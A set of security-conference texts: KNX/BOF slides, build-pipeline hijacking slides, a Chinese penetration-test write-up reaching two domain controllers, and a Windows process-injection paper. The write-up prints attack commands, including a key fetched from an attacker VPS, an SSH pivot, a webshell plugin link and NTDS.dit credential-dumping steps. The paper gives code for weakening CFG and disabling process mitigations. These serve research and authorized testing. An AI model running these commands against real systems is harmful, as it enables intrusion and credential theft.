tamper with the KNXnet/IP without excessive study of the KNX Specifications.” - KNX Standard v2.1 30 Where to start The boring way ►KNX specifications free since 2016 – You just need a fake account on KNX’s website – …and also good nerves ►« Volume 3 – System Specifications » is the useful part 31 148 PDF files \o/ Only 33 PDF files! Where to start The hacker way 1. Set up a test environment with KNX Virtual and ETS 2. Listen to the traffic and learn 3. …or just replay it ►« Engineering Tool Software » (ETS) provided by KNX association « The best hacking tool », according to Thomas Brandstetter ►Wireshark has a KNXnet/IP dissector 32 Works with (almost) any industrial/BMS network protocol DEMO : Setting up a test environment 33 « Deciphering » KNX 34 34 KNXnet/IP interface Operator KNXnet/IP (UDP) KNXnet/IP request KNXnet/IP request cEMI « Deciphering » KNX 35 35 KNXnet/IP interface Operator KNX (field bus) KNXnet/IP request cEMI cEMI (KNX message) « Deciphering » KNX KNXnet/IP + KNX (cEMI) = 36 36 KNXnet/IP interface Operator KNXnet/IP (UDP) KNX (field bus) « Deciphering » KNX ►KNX Individual Address (1.1.1) = devices Ex: scan KNX network ►KNX Group Address (1/1/1) = « functions » Ex: run commands 37 192.168.1.10 192.168.1.100 1.1.1 1.1.254 1.1.3 1.1.2 192.168.1.100 1/1/1 KNXnet/IP embedding a KNX frame Tooling to start testing ►ETS ►KNXmap https://github.com/takeshixx/knxmap ►New : KNXnet/IP layer for Scapy – https://github.com/secdev/scapy – Layer by Julien Bedel @ Orange Cyberdefense 38 Also, thanks to Scapy maintainers for their support and kindness  DEMO : KNXmap 39 Tooling to start testing ►ETS ►KNXmap https://github.com/takeshixx/knxmap ►New : KNXnet/IP layer for Scapy – https://github.com/secdev/scapy – Layer by Julien Bedel @ Orange Cyberdefense 40 Also, thanks to Scapy maintainers for their support and kindness  Tooling to start testing ►Suitable for basic interaction ►Limitations for extensive testing = Opportunity for a new tool! :D 41 BMS KNX BOF BOF: Boiboite Opener Framework For discovery, basic interaction and advanced testing via industrial network protocols (including KNXnet/IP) ►Python 3.6+ library ►Originally created to write attack scripts – Change devices’ behavior (#1) – Test protocol implementations on devices (#2) ►https://github.com/Orange-Cyberdefense/bof 43 There is at least one user (me) I use it during pentests… ►For basic network and devices discovery ►To send basic commands ►To write attack scripts …and for my own vulnerability research ►Dumb and not-so-dumb fuzzing ►To write very specific attack scripts 44 Scapy + BOF = <3 « Why not use Scapy? » Pros: ►Nothing better for protocol implementations Cons: ►Incompatibilities with BOF’s expected behavior ►Willing to keep BOF’s script syntax 45 Very good question Scapy + BOF = <3 « Why not use Scapy? » Pros: ►Nothing better for protocol implementations Cons: ►Incompatibilities with BOF’s expected behavior ►Willing to keep BOF’s script syntax 46 Very good question Now that you mention it… How does this work? ►High-level discovery ►Intermediate usage ►Low-level testing 47 DEMO : Discovery DEMO : Discovery How does this work? ►High-level discovery ►Intermediate usage ►Low-level testing 50 Turning off the lights CONNECT REQUEST TUNNELING REQUEST L_data.req TUNNELING ACK TUNNELING ACK TUNNELING REQUEST L_data.con CONNECT RESPONSE Yes its UDP Turning off the lights # CONNECT REQUEST channel, knx_source_addr = connect_request_tunneling(knxnet) # cEMI cemi = cemi_group_write(knx_source_addr, KNX_GROUP_ADDR, VALUE) # TUNNELING REQUEST (broken down) tun_req = KNXPacket(type=SID.tunneling_request) tun_req.communication_channel_id = channel tun_req.cemi = cemi # SEND and wait for ACK and RESPONSE ack, _ = knxnet.sr(tun_req) response, source = knxnet.receive() # SEND ACK and DISCONNECT REQUEST ... DEMO : Basic operation 53 DEMO : Basic operation 54 How does this work? ►High-level discovery ►Intermediate usage ►Low-level testing 55 DEMO : Advanced testing 56 What do we expect? 57 Crashes == Something is not handled correctly Error in KNXnet/IP frame (anywhere) Service or other software interpreting frames ►Possibly compromise the interface Error in KNX frame (cEMI) KNX layer on interface or on devices ►Possible denial of service on devices ►Possibly compromise the interface Wrap up TODO So far ►Major impact, minor concern ►No need to « bypass » protections yet If we go further… ►What’s inside widely-used implementations? ►What about KNXnet/IP security extensions? ►How to secure efficiently? 59 FIXME Vendors ►Stop assuming security is the user’s problem Users ►Stop assuming security is the vendor’s problem 60 FIXME Attackers ►Brand new attack surface – Maybe someone will learn something – Reminder: Be careful and take care of people! Defenders ►Brand new defense surface  – Quick win: don’t expose devices 61 Thank you! BOF https://github.com/Orange-Cyberdefense/bof https://bof.readthedocs.io/en/latest/ …and a huge thanks to DEFCON, Scapy maintainers, Olivier Gervais, Judicaël Courant, Baptiste Cauchard, Julien Bedel, and Leon Jacobs for their help and support! 62
pdf
Is This Your Pipe? Hijacking the Build Pipeline $ whoami @rgbkrk OSS, Builds and Testing Protecting pipelines • Need Want benefits of continuous delivery! • Open source pathways to real, running infrastructure! • Community services with > 200,000 users Build Pipeline Components • Source Control • Continuous Integration • Upstream Sources Real Sites Need Secrets What secrets? • Cloud Credentials • OAuth Secrets • Integrate with etc. Managing Secrets Managing Secrets Not Credentials Get Leaked –Rich Mogull “I did not completely scrub my code before posting to GitHub. I did not have billing alerts enabled ... This was a real mistake ... I paid the price for complacency.” ಠ_ಠ What can be done with Cloud Credentials? • Build new infrastructure • Delete your infrastructure • Append SSH keys to your primary set • Change root passwords • “Redistribute” your DNS and Load Balancers ಠ_ಠ Secret Finding Demo Can’t we just let people know when they fuck up? gitsec/nanny • Search repositories for security oops • Email the original committer & owner of the project • Let them know how to revoke keys, panic Responses • “Wow, thank you. How did you find these?” • “This is only a testing project” • “I don’t even own this repository” config/initializers/ secret_token.rb ಠ_ಠ What if you need secrets for testing? Travis CI Continuous Integration Build Platform Travis CI • Open Source, free for public repos • git push -> web hook -> tasks • Less control than Jenkins • Encrypted Secrets! language: python python: - 2.7 before_install: - pip install invoke==0.4.0 pytest==2.3.5 install: - pip install . script: invoke test Travis & Encrypted Secrets Can we leak decrypted secrets? – Travis CI “Keys used for encryption and decryption are tied to the repository. If you fork a project and add it to travis, it will have a different pair of keys than the original.” Masquerade Process 1. Find repository with credentials 2. Do legitimate work on a feature or bug 3. Include your security oops ... 4. Profit Speaker Transition! What’s the Build Pipeline? Pypi! Dev Box CI Production The Build Pipeline Contaminate the Pipeline Compromise Everything. Breaking into the Pipeline You are Here Hijacking the Pipeline Identifying CI in Code jenkinsapi)0.2.20) ! from)jenkinsapi)import)api) jenkins)=)api.Jenkins('http://your;jenkins;server/ api/python/')) job)=)jenkins.get_job('MyAwesomeJob')) build)=)job.get_last_build()) if)build.is_good():) ))))print)"The)build)passed)successfully") else:) ))))#)Know)that)) ))))pass OR curl)http://jenkins/job/$JOB_NAME/build);F) file0=@PATH_TO_FILE);F)json='{"parameter":) [{"name":"FILE_LOCATION_AS_SET_IN_JENKINS",) "file":"file0"}]}');;user)USER:PASSWORD OR wget);q);;output;document);)\) ‘http://server/jenkins/crumbIssuer/api/xml? xpath=concat(//crumbRequestField,":",// crumb)' The Low Hanging Fruit Utilizing)the)Jenkins)Python)API…) #)create)a)malicious)deploy)&)check)status) mal_job)=)jenkins.get_job('PWN')) mal_build)=)mal_job.get_last_build()) if)mal_build.is_good():) ! ))) The Not-So-Low Hanging Fruit. You need MOAR permissions. Cloning) into)'<DIRECTORY>'...) Permission)denied)(publickey).) fatal:)The)remote)end)hung)up)unexpectedly) ! —————————————————————————————————————————————————————————) ! Access)Denied;)USER@DOMAIN)is)missing)the)X)permission) —————————————————————————————————————————————————————————) ! Building)in)workspace)/var/lib/jenkins/jobs/Test) Deployment/workspace) ! stderr:)Host)key)verification)failed.) fatal:)The)remote)end)hung)up)unexpectedly) ! In other cases it may not… Building)in)workspace)/var/lib/ jenkins/jobs/Test) ! ERROR:)Could)not)clone)repository) FATAL:)Could)not)clone) WE’RE NOT THROWING IN THE TOWEL JUST YET ! Challenge Accepted. So many options… The worst case scenario Contaminate the Pipeline Compromise Everything. Pypi! Dev Box CI Production The Build Pipeline Destination Destination Create your own Heartbleed !        "                 "                 /* Enter response type, length and copy payload */"                 *bp++ = TLS1_HB_RESPONSE;"                 s2n(payload, bp);"                 memcpy(bp, pl, payload);"                 "               r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding; Remote Code Execution for all! socket.recvfrom_into() Some are easier than others… What defenses do we have? Take code review seriously. Gate your deploys…. Or they will be my deploys.
pdf
页眉 忆一次渗透实战 从打点到域控的全过程 杭州安恒信息技术股份有限公司 安服战略支援部-星火实验室-李兵 2019 年 9 月 19 日 目录 1. 信息收集阶段 ................................................................................................................................................ 1 2. 外部打点阶段 ............................................................................................................................................. 10 3. 内网渗透阶段 ............................................................................................................................................. 15 页眉 杭州安恒信息技术股份有限公司 第1页/共 24 页 本次内容跟大家分享一次完整的从打点到域控的实战过程。其目的是通过总 结在渗透中的每个阶段,来和大家分享一些优秀的渗透工具、渗透技巧,以及我 个人一些浅薄的渗透经验。 本文主要内容分为三个阶段: 信息收集阶段 外部打点阶段 内网渗透阶段 1. 信息收集阶段 当我们准备渗透一个目标的时候,往往都是从信息收集阶段开始。信息收集 可以分为互联网端的信息收集和内网的信息收集。互联网端需要收集的最重要的 资产就是域名资产和 IP 资产。每个企业都会有自己的域名和 IP,这是黑客与测 试人员关注的重点,其次是企业相关的账户信息、服务信息、指纹信息等。 让我们从域名(DNS)的信息收集说起,收集 DNS 的方法有很多种,可以通 过搜索引擎、历史数据、网站爬虫、SSL 证书、DNS 区域传送、暴力破解等方式。 如果单独去执行每一种方法,可能需要做不少的工作。下面我介绍一款优秀的开 源工具,它可以完成以上 80%以上的工作。 页眉 杭州安恒信息技术股份有限公司 第2页/共 24 页 Sublist3r 是一款基于 Python 实现的域名收集工具。它基本支持上面提到的大 部分方法,从搜索引擎、Virustotal、DNSdumpster、SSLCert 等站点查找子域名。 在进行域名爆破时,程序会使用到一个互联网 DNS 服务器列表,然后以轮训的 方式来进行枚举任务。这种方式可以避免因为大量 DNS 请求所导致的访问受限。 Python sublist3r.py -d target.com -b -t 50 -o target.dns.txt 当程序将扫描结果写入 target.dns.txt 文件之后,我们就有了这个目标的域名 资产。那么我们如何再获取目标的 IP 资产呢? 我的方法是使用 BASH 脚本将文件中的域名解析为 IP,然后再做去重和 C 段识别处理,随手找了个目标域名用于演示: 页眉 杭州安恒信息技术股份有限公司 第3页/共 24 页 for i in `cat target.dns.txt`;do host $i|grep -E -o "([0-9]{1,3}[\.]){3}[0- 9]{1,3}";done |sort|uniq|grep -E -o "([0-9]{1,3}[\.]){3}"|uniq -c|awk '{if ($1>=3) print $2"0/24"}' 这样就获取到了目标的域名资产和 IP 资产。 这里关于 IP 信息收集有一个小技巧,就是渗透一些大型目标时,在目标公 司有 AS(自治系统)的情况下可以通过 https://bgp.he.net/ 这个运营商来查询 目标公司的自治系统号和 CIDR 路由。自治系统分配情况也可以在 IANA 查询 到: 页眉 杭州安恒信息技术股份有限公司 第4页/共 24 页 https://www.iana.org/assignments/as-numbers/as-numbers.xhtml。 有了 DNS、IP 段、C 段列表这些目标的基础轮廓以后,就可以对目标进行端 口和服务探测,以及 Web 资产识别了。端口服务探测我使用的是 Nmap,如果目 标网络范围超过一个 C 段,我通常会用 Masscan,Masscan 也可以将扫描结果存 储为 Nmap 格式。拿到 XML 扫描结果以后,再用 Webmap 来解析 XML 扫描结 果,Webmap 还有一个好处就是可以团队协作。它的扫描结果展示如下: 页眉 杭州安恒信息技术股份有限公司 第5页/共 24 页 可以为每个目标打上 Critical、Checked、Vulnerable 等标签,以及给目标添加 备注、生成拓扑和 PDF 报告。 页眉 杭州安恒信息技术股份有限公司 第6页/共 24 页 如果不需要团队协作,不想搭建服务器,还可以使用 nmap-bootstrap.xsl 模板 将 Nmap 扫描结果转换成更直观,支持搜索的 HTML 格式。关于 Nmap 的 Nse 玩法有很多,以后可以单独搞个技术分享。 Nmap –iL ips.txt -sS -T4 -A -sC -oA scanme xsltproc -o scanme.html nmap-bootstrap.xsl scanme.xml 页眉 杭州安恒信息技术股份有限公司 第7页/共 24 页 有了端口、服务等信息以后,我开始用 Eyewitness 来了解目标的 Web 资产情 况,这是个基于 Python,Headless(无头游览器)驱动实现的快照工具。它除了 能将目标 Web 资产迅速快照,还可以识别一些中间件的默认页(例如:Tomcat、 Jboss 等等),网站登陆接口,记录 HTTP 响应头,以及页面源码。类似的工具还 有 GoWitness,以及 Nmap 的 http-screenshot-html.nse 脚本。下面是这个工具的使 用方法及演示: python EyeWitness.py –f target.com-dns.txt --web --active-scan --add-http-ports 80,81,88,888,2082,2083,3122,4848,6588,7000,7001,7002,7003,8000,8080,8081,8089 ,8090,8500,8888,9000,9001,9200,9080,10000,10051,50000 --add-https-ports 443,8443,9043 随便找个公司测试一下扫描结果: 页眉 杭州安恒信息技术股份有限公司 第8页/共 24 页 页眉 杭州安恒信息技术股份有限公司 第9页/共 24 页 前面看到的是用 Eyewitness 解析 DNS.txt,我们也可以直接解析 Nmap 的扫 描结果: nmap -T4 -iL ip.txt -oX scan.xml -p 80,81,88,443,888,2082,2083,3122,4848,6588,7000,7001,7002,7003,8000,8080,8081, 8089,8090,8443,8500,8888,9000,9001,9200,9043,9080,10000,10051,50000 -Pn -- open -n python EyeWitness.py -x scan.xml --web --no-dns --active-scan 页眉 杭州安恒信息技术股份有限公司 第10页/共 24 页 在测试漏洞之前,我还用 Git-all-secret 和 SimplyEmail 开源工具收集到一些 信息: 从 Github 上获取到 1 个账号和密码,以及一些内网域名信息。 使用 SimplyEmail 从搜索引擎和元数据中收集到部分目标的邮箱地址。 在信息收集阶段完成以后,对目标情况就有了一定的了解。我拿到了目标的 IP 信息、DNS 信息、Web 资产情况、一个账号密码和一些内网域名信息。因为 不是真正的 APT,项目仅有一周的时间,我没有做更详细的信息收集,直接是进 入到了打点阶段。 2. 外部打点阶段 如何利用好之前收集到的信息?我做的第一件事是直接访问公司邮件系统 OWA 登录页面,运气不错,成功使用 Github 上收集到的账号登录电子邮箱,在 邮箱中搜索敏感关键字并没有发现有价值的信息。那么如何最大化利用这个账号 呢? 页眉 杭州安恒信息技术股份有限公司 第11页/共 24 页 在登录页面的 Body 中,可以查看到 OWA 的版本。 <link rel="shortcut icon" href="/owa/auth/15.0.995/themes/resources/favicon.ico" type="image/x-icon"> 15.0 对应的版本是 Exchange2013,使用 EWS Editor 导出公司其他人的邮 箱: 导出后的文件都是 XML 格式,使用正则表达式提取与此邮箱关联的邮件地 址: cat * | egrep -o '[0-Z_]{3,}@[0-Z]{2,}(\.[0-Z]{2,})+' >email.txt //我们会获得一 个目标公司的邮件列表 页眉 杭州安恒信息技术股份有限公司 第12页/共 24 页 有了邮件列表我们就可以继续对其他账号进行爆破了,运气好的话我们也许 会遇到运维人员,或者遇到一些具有 VPN 登陆权限的账号。爆破工具推荐使用 Exchange 的滥用工具 ruler、mailsniper.ps1。 当时在获取到的几个邮箱账户中,并没有获得有价值的东西。接下来我又尝 试在目标公司的 VPN 客户端上尝试登陆收集到的账号,发现有一个账号密码是 正确的,但需要动态口令牌,当时果断就放弃了这个入口! Exchange 和 VPN 都失败以后,我把精力转向 Web 资产的漏洞测试。 我尝试了以下操作: 1. 从 Eyewitness 中寻找各类管理后台登陆接口,进行爆破和绕过。 2. 从 Nmap 扫描结果中寻找可能存在 RCE 的中间件和 CMS。 3. 寻找上传点尝试 Getshell 和一些可能存在漏洞的 CMS。 4. 在网站上找官方的 APP 下载进行测试。 在测试 APP 时,我发现了一个有趣的现象: 这家公司使用的是泛微 OA 手机 APP,当我点击 APP 时会自动登陆 VPN: 页眉 杭州安恒信息技术股份有限公司 第13页/共 24 页 点击右上角的 VPN 发现它使用的是深信服 VPN。也就是说 VPN 是写死在 APK 文件中的,使用 Jadx-gui 分析这个 APK 文件的源码,发现默认的 VPN 账 号密码: 页眉 杭州安恒信息技术股份有限公司 第14页/共 24 页 使用 AWORK 登陆深信服 VPN,直接连接到目标公司网络,输入账号密码 以后,并没有提示我需要 VPN 动态口令牌,直接登陆成功,就这样绕过了 PC 端 VPN 的二次认证。 现在已经成功从手机端进入目标内网,接下来就是从手机端进行内网渗透, 我在 Android 手机上使用了 Termux,Termux 是 Android 上一个强大的终端模拟 器。我将手机和攻击机接入到同一个 WIFI 下面,然后在 Android 上开启 SSH 服 务,攻击机使用 SSH Socks 动态代理的方式接入内网。 VPS: ssh-keygen && cp rsa_id.pub /var/www/html Mobile: pkg install openssh && sshd wget http://VPS/id_rsa.pub && cat id_rsa.pub > ~/.ssh/authorized_keys 页眉 杭州安恒信息技术股份有限公司 第15页/共 24 页 Attack End: Ssh –D 1080 androiduser@MobileIP –p 8022 3. 内网渗透阶段 接入内网以后我发现除了 OA 系统,其他的内网 IP 全部访问受限。那么就只 能尝试攻击 OA 系统了。使用 Nmap 对目标系统进行全端口扫描发现: Open 80(OA 系统) Open 9090(Openfire 即时通讯系统) 使用 Burpsuite 抓包对 OA 系统进行漏洞测试,发现该 OA 系统存在多处 SQL 注入。并且当前连接数据库的账号是 DBA,通过 SQL 注入顺利读取到 Openfire (即时通讯系统)数据库中后台的账号密码。登陆后台,上传编译好的插件,成 功 Getshell。 页眉 杭州安恒信息技术股份有限公司 第16页/共 24 页 插件下载地址:http://rinige.com/usr/uploads/2016/11/3769501264.zip 拿到这台主机以后,我做了下面几件事: arp –n 查看 arp 缓存,广播域中是否存在通讯,发现内网多台主机。 Ping 之前从 Github 收集到的域名,发现可以直达域控。 复用 80 端口代理,使用 MSF 对域控进行了 MS17-010 和 MS14-068 的测试, 失败。 查看系统版本,内核版本,进程信息,文件权限以了解是否可以提权,结果 失败。 翻看系统文件,未发现有价值的信息。 测试是否可以出网,发现不能到达互联网,但可以回连到手机。 我在 Termux 中开启监听端口,将这个 Shell 反连到 Termux 上。现在已经能 够访问域控,并且已经有了几个之前登录 Exchange 的普通域账号。如果按照常 规渗透,我们可能会通过 net * /domain 来查询域用户、组等信息。但这里我们是 一台 Linux,该如何列出域内用户、域用户组、域管理员、域信任关系呢?我们 可以使用 Linux 上的 rpcclient 来做这个事情,由于不方便接入客户服务器,所以 我搭建了一台 DC 来演示这种方法: 页眉 杭州安恒信息技术股份有限公司 第17页/共 24 页 当我获取到所有域信息以后,开始对域控的 DNS 进行收集。知道 DNS 记录 就基本能确定内网有什么资产,以及资产的位置了。以前我们在域控上使用 Dnscmd . /EnumRecords domainname .来收集 DNS 记录。现在有了这个新方法, 只需要一个普通域账号我们就可以收集域控上的 DNS 记录: 参考资料:https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns- with-adidnsdump/ 页眉 杭州安恒信息技术股份有限公司 第18页/共 24 页 现在我有了目标的全部域账号,组,域管,域信任关系等信息,知道了网络 中存在两个域,一个集团的 A 域和一个分公司的 B 域,以及内网的资产分部情 况。 我没有继续从内网渗透,而是将收集到的运维组账号进行整理,然后从外部 Exchange 的 EWS 接口进行爆破。最终成功获得了 2 个运维人员的邮箱密码。登 录这两个人的集团邮箱,从一个人的邮件中发现了分公司 B 域的服务器列表,其 中就有分公司域控的本地管理员账号和密码,后面我们就叫这个人 TL 吧。TL 属 于集团,但他同时也负责管理分公司的域控。 使用 impacket 套件中的 wmiexec.py 在 Linux 上远程连接 B 域的域控域控执 行命令,并使用 CS 上线,导出域控 HASH。 页眉 杭州安恒信息技术股份有限公司 第19页/共 24 页 之后开启 Socks 代理,3389 连接服务器,在上面翻了一波,看看有没有集团 域控的线索。 登录服务器以后继续使用这个管理员账号横向移动,使用这个账号打下了分 公司的 Exchange 等多台服务器。使用 CobaltStrike 横向移动非常方便,Windows 通过命令横向移动的方法他都支持,WMI、Psexec、WinRM,它还可以使用 make_token 创建 Token 和窃取 steal_token,Linux 的话支持 SSH 和 SSH-KEY。 如果执行成功,会直接在控制台上线。 页眉 杭州安恒信息技术股份有限公司 第20页/共 24 页 到这里目标分公司基本就被打穿了。下面开始往集团域控移动。我已经有了 集团 TL 的域账号(之前登录集团 Exchange 邮箱的账号),这里使用到一个叫 Hunter 的工具,它可以查看当前用户在域内哪台主机上具有 LocalAdmin 权限、 以及可以访问的共享资源。先生成目标内网 IP 段: for /l %i in (1,1,255) do @echo 192.168.1.%i >> host.txt 页眉 杭州安恒信息技术股份有限公司 第21页/共 24 页 当时在内网中并没有找到当前用户为 LocalAdmin 权限的主机。接下来我使 用 PowerView 来定位域管登陆过的机器。 页眉 杭州安恒信息技术股份有限公司 第22页/共 24 页 最终使用 MS-17-010 打下,Mimikat 成功抓取域管密码,进入集团域控。远 程利用 windows 自带的工具 wmic 和 vssadmin 导出域控 HASH,再使用 secretdump 解密。 wmic /node:domain-ip /user:*\* /password:* process call create "cmd /c vssadmin create shadow /for=C: 2>&1" wmic /node: domain-ip /user:*\* /password:* process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\N TDS\NTDS.dit C:\temp\ntds.dit 2>&1" 页眉 杭州安恒信息技术股份有限公司 第23页/共 24 页 wmic /node: domain-ip /user:*\* /password:* process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Sy stem32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1" secretdump -system SYSTEM -ndts ndts.dit local 至此,这次渗透就结束了,集团总部和分公司基本上全部打穿。 附录: https://github.com/aboul3la/Sublist3r https://github.com/honze-net/nmap-bootstrap-xsl https://github.com/FortyNorthSecurity/EyeWitness https://github.com/anshumanbh/git-all-secrets https://github.com/SimplySecurity/SimplyEmail https://github.com/dseph/EwsEditor 页眉 杭州安恒信息技术股份有限公司 第24页/共 24 页 https://github.com/sensepost/ruler http://rinige.com/usr/uploads/2016/11/3769501264.zip https://github.com/SecureAuthCorp/impacket https://github.com/maaaaz/impacket-examples-windows https://github.com/fdiskyou/hunterhttps://github.com/PowerShellMafia/PowerSploit
pdf
Windows Process Injection in 2019 Amit Klein, Itzik Kotler Safebreach Labs Introduction Process injection in Windows appears to be a well-researched topic, with many techniques now known and implemented to inject from one process to the other. Process injection is used by malware to gain more stealth (e.g. run malicious logic in a legitimate process) and to bypass security products (e.g. AV, DLP and personal firewall solutions) by injecting code that performs sensitive operations (e.g. network access) to a process which is privileged to do so. In late 2018, we decided to take a closer look at process injection in Windows. Part of our research effort was to understand the landscape, with a focus on present-day platforms (Windows 10 x64 1803+, 64-bit processes), and there we came across several problems: • We could not find a single location with a full list of all injection techniques. There are some texts that review multiple injection techniques (hat tip to Ashkan Hosseini, EndGame for a nice collection https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques- technical-survey-common-and-trending-process and to Csaba Fitzl AKA “TheEvilBit” for some implementations https://github.com/theevilbit/injection), but they’re all very far from capturing all (or almost all) techniques. • The texts that describe injection techniques typically lump together “true injection techniques” (the object of this paper) with other related topics, such as process hollowing and stealthy process spawning. In this paper, we’re interested only in injection from one 64-bit process (medium integrity) to another, already running 64-bit process (medium integrity). • The texts often try to present a complete injection process, therefore mixing writing and execution techniques, when only one of them is novel. • Many texts target 32-bit processes, and it was not clear whether they apply to 64-bit processes. • Many texts target pre-Windows 10 platforms, and it is not clear whether they apply to Windows 10, with its implementation changes and with its new security features. • Some attacks require privilege elevation, and as such are not interesting. • The texts that describe process injection lack analysis – discussion of requirements and limitations, impact of Windows 10 security features, etc. • The texts usually provide a PoC, but it’s “too well written” – meaning, the PoC checks for return code, handles errors, handles 32-bit and 64-bit processes, edge conditions, etc. Also, the PoC implements an end-to-end injection (not just the novel write/execute technique). As such, the PoC becomes pretty big and difficult to follow. In this paper, we address all the above issues. We provide the first comprehensive catalogue of true process injection techniques in Windows. We categorize the individual techniques into write primitives and execution methods. We test the techniques against 64-bit processes (medium integrity) running on Windows 10 x64. We test them with and without process protection techniques (CFG, CIG), we analyze each technique and explain its requirements and limitations. Finally, we provide stripped down, minimalistic PoC code that works, and at the same time is short enough to clearly show the technique at hand. We tried to be as comprehensive as possible, i.e. really cover all different techniques. But of course, this is a live document, as new techniques will surely be discovered, and as we probably missed a few. We also tried to give credit to the original inventor of the technique, if we could find one. Again, this is probably imperfect, and readers are encouraged to send us corrections. Finally, we get back to our original goal, and describe a new injection technique that inherently bypasses CFG. Windows Process injection in 2019 Classes of Injection Techniques We classify injection techniques as follows: 1. Process spawning – these methods create a process instance of a legitimate executable binary, and typically modify it before the process starts running. Process spawning is very “noisy” and as such these techniques are suspicious, and not stealthy. 2. Injecting during process initialization – these methods cause processes that are beginning to run, to load their code (e.g. AppInit DLLs). Typically these techniques require UAC elevation (due to writing to privileged registry keys and/or privileged folders). Additionally, such methods are typically mitigated by the Extension Point Disable Policy. 3. Injecting into running processes (“true process injection”) – these are the most interesting techniques, which are the focus of this paper. Injecting into running processes typically involves two sub-techniques: preparing memory in the target process (which contains the payload – the logic to be run, either as native code, or as ROP chain stack), and executing logic in the target process. The present time landscape: Windows 10 64-bit (x64), and new security features In recent years, Windows 10 (and the x64 hardware platform) gained a lot of popularity. This change of landscape has a great impact on process injection techniques: - x64 (vs. x86): In Windows x86, all calling conventions except fastcall place all arguments on the stack. In x64, the calling convention places the first 4 arguments in registers (RCX, RDX, R8 and R9), and the remaining arguments on stack. This makes it harder to design a payload for x64, since such payload must control several registers in order to invoke a function. In x86, a payload just needs to correctly arrange the stack in order for a function invocation to succeed. Theoretically this could have been elegantly handled by the single byte instruction POPA (opcode 0x61), which pops all data registers from stack, however this instruction is simply not available in x64 mode. - New security features: Windows 10 introduced several new process exploitation mitigation features, which can be controlled via the SetProcessMitigationPolicy API (from the target process). These are: o CFG (Control Flow Guard): this is Microsoft’s implementation of the CFI (Control Flow Integrity) concept for Windows (8.1, 10). The compiler precedes each indirect CALL/JMP (CALL/JMP reg) with a call to _guard_check_icall to check the validity of the call target. Validity is also provided by the compiler as a list of 16-byte aligned valid targets per module (loaded to memory as a “bitmap” for fast access). Both caller module and callee module must support CFG in order for it to be in effect. o Dynamic Code prevention: this feature prevents the calling process from calling VirtualAlloc with PAGE_EXECUTE_*, MapViewOfFile with FILE_MAP_EXECUTE option, VirtualProtect with PAGE_EXECUTE_* etc. and reconfiguring the CFG bitmap via SetProcessValidCallTargets (from https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51- 507986edafce/the_joy_of_sandbox_mitigations_export.pdf). Note that for e.g. VirtualProtectEx, the policy enforced is the policy of the caller process. o Binary Signature Policy (CIG – Code Integrity Guard): only allow modules signed by Microsoft/Microsoft Store/WHQL to be loaded into the process memory. A weaker control is Image Load Policy, which can prevent loading modules from remote locations or files with low integrity label; This is enforced at the calling process. o Extension Point Disable Policy: disable “extensions” that load DLLs into the process space – AppInilt DLLs, Winsock LSP, Global Windows Hooks, IMEs (from https://theryuu.github.io/ifeo-mitigationoptions.txt). It should be noted that explorer.exe, the classic injection target, as well as several other native Windows processes/applications (e.g. Edge’s broker processes) are protected with CFG, and the Edge broker processes are protected almost to the maximum possible level with the above techniques. Defining our scope Per the above, our interest is in true process injection techniques for Windows 10 x64. Specifically: • Windows 10 x64 at recent build (1803/1809/1903) • All processes (injector/malware, target) are 64-bit • All processes are medium integrity • Target process is already running (i.e. “true process injection” is needed) • No privilege elevation required (this rules out AppInit_Dlls, AppCertDlls and shims, as the former two require writing to privileged registry keys - HKLM\Software\Microsoft and HKLM\System respectively, and the latter one requires UAC to run sbdinst.exe). Same for AddPrintProcessor, AddPrinterDriver and AddMonitor, all of which require the DLL to reside under C:\Windows\System32. • Evaluation is done against fully protected process (CFG, CIG, etc.) or vanilla process (where applicable) Evaluating Process injection techniques Bypassing Windows protection mechanisms Microsoft provides a standard API (SetProcessValidCallTargets) for “whitelisting” (from CFG perspective) an arbitrary address in the target process. Tal Liberman from EnSilo described its internal implementation as a call to ntdll!NtSetInformationVirtualMemory with VmInformationClass= VmCfgCallTargetInformation (https://blog.ensilo.com/documenting-the-undocumented-adding-cfg- exceptions). HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE, process_id); MEMORY_BASIC_INFORMATION meminfo; VirtualQueryEx(p, target, &meminfo, sizeof(meminfo)); CFG_CALL_TARGET_INFO cfg; cfg.Offset = ((DWORD64)target) - (DWORD64)meminfo.AllocationBase; cfg.Flags = CFG_CALL_TARGET_VALID; SetProcessValidCallTargets(p, meminfo.AllocationBase, meminfo.RegionSize, 1, &cfg); We found a simple way to deactivate all other Windows protections (specifically CFG cannot be deactivated in this manner) for Windows 10 version 1803. Microsoft provides a standard API (SetProcessMitigationPolicy) for turning on/off these features in the process itself. This function needs to be run from the target process and provided with 3 arguments – for example, ProcessDynamicCodePolicy, a pointer to an array of sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY) zeros, and the size of the said array – which is sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY). Finding an array of zeros is trivial, e.g. the load image address of ntdll.dll + 0x20. Running a target function with 3 arguments is possible via invoking ntdll!NtQueueApcThread. HANDLE th=OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); ntdll!NtQueueApcThread(th, SetProcessMitigationPolicy, (void*)ProcessDynamicCodePolicy, ((char*)GetModuleHandleA("ntdll")) + 0x20, sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY)); NOTE: this technique stopped working at Windows 10 version 1809 – once protection is set (by SetProcessMitigationPolicy), it cannot be unset – SetProcessMitigationPolicy returns status ERROR_ACCESS_DENIED. Given that CFG can be turned off by the injecting process, why do we need to analyze for CFG? We anticipate that the mere action of disabling (or attempt to) of a security feature by a process may be monitored and possibly even prevented by security products. As such, in the future, injecting processes may prefer to stay away from this exact functionality. Also, at some point in the future, Microsoft may disable or restrict CFG manipulation (just like they did with SetProcessMitigationPolicy). Steps in true process injection Typically, process injection follows these 3 steps: • Memory allocation • Memory writing (using a memory write primitive) • Execution Sometimes the allocation and memory writing are technically carried out in the same step, using the same API. Sometimes the memory allocation step is implicit, i.e. the memory is pre-allocated. Sometimes it is impossible to separate memory writing from execution. 